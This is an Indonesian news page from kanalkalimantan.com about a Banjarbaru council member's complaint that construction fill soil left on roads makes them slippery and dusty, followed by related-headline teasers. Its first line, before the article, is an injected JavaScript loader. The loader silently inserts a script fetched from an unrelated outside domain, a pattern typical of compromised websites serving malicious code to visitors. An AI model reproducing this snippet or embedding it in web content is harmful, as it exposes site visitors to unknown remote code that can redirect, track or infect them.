(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tanah urukan yang dibawa truk untuk memulai pembangunan terkadang ikut terbawa ke jalan raya menyisakan masalah bagi pengendara.
Hal kecil yang seharusnya setelah melakukan urukan tanah langsung disiram untuk menghilangkan sisa-sisa tanah yang tertinggal di jalan, namun tidak semua permasalah tersebut menjadi perhatian para pihak yang melakukan pembangunan.
Sebab dari sisa-sisa tanah yang tertinggal di jalan menyebabkan masyarakat menjadi korbannya, jika hujan jalanan akan licin. Sebaliknya ketika panas jalan akan menjadi berdebu dan tidak sedikit menyebabkan kecelakaan karena gundukan tanah yang bersebaran di jalan umum.
Kondisi itu mendapat perhatian Anggota Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Norkhalis Ansari.
Sisa urukan terkait pembangunan gedung seperti bangunan gedung besar yang perlu diperhatikan adalah izin mendirikan bangunan. Kemudian terkait sisa pekerjaan tidak dibenarkan berserakan sembarangan di jalan apalagi membuat sulit masyarakat.
“Terkait sisa pekerjaan, tidak dibenarkan apalagi dapat mengganggu jalan,” ujarnya, Senin (14/2/2022).
Seharusnya, setelah setelah selesai pekerjaan harus dilakukan penyemprotan agar tidak mengganggu lalu lalang kendaraan masyarakat.
“Harus menjadi perhatian Pemko Banjarbaru, selain cek izin bangunannya,” tambahnya.
Menurutnya ketika melakukan pembangunan apalagi sebuah bangunan besar, harus dilakukan pengawasan sejak dini oleh Disperkim maupun Dinas PUPR. Hal ini bertujuan untuk menghindari adanya pelanggaran regulasi.
“Jika bangunan tersebut tidak diawasi sedari awal, maka kedepannya akan sulit untuk menindak apalagi melakukan pembongkaran,” ucapnya.
DPRD Kota Banjarbaru sedang menyiapkan regulasi perizinan pembangunan gedung. Sekarang berubah menjadi retribusi persetujuan pembangunan gedung yang sudah disahkan tahun lalu. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
This website uses cookies.